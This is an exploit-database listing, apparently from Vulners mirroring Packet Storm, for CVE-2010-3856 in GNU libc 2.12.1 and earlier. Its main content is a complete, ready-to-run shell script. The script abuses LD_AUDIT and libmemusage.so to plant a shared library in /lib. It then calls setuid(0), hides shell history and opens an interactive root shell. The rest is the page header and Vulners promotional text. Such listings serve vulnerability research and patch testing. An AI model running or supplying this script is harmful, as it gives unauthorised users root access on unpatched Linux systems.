Lucene search
K

GNU libc 2.12.1 LD_AUDIT libmemusage.so Local Root

🗓️ 06 Nov 2014 00:00:00Reported by Saeid BostandoustType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 102 Views

GNU libc 2.12.1 LD_AUDIT libmemusage.so Local Root Exploi

Related
Code
`#!/bin/sh  
  
# Exploit Title: GNU libc <= 2.12.1 LD_AUDIT Root Exploit  
# Date: 05/11/2014  
# Exploit Author: ssbostan  
# Vendor Homepage: http://www.gnu.org/software/libc/  
# Software Link: http://ftp.gnu.org/gnu/glibc/  
# Version: <= 2.12.1  
# Tested on: Ubuntu 8.04  
# CVE: http://www.cvedetails.com/cve/CVE-2010-3856/  
  
umask 0  
cat > /tmp/libxpl.c << EOF  
__attribute__((constructor)) void init()  
{  
setuid(0);  
setgid(0);  
unlink("/lib/libxpl.so");  
setenv("HISTFILE", "/dev/null", 1);  
execl("/bin/sh", "/bin/sh", "-i", 0);  
}  
EOF  
gcc -w -fPIC -shared -o /tmp/libxpl.so /tmp/libxpl.c  
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="/lib/libxpl.so" ping 2>/dev/null  
cat /tmp/libxpl.so > /lib/libxpl.so  
rm -rf /tmp/libxpl.c /tmp/libxpl.so  
LD_AUDIT="libxpl.so" ping  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Nov 2014 00:00Current
8.6High risk
Vulners AI Score8.6
EPSS0.0894
102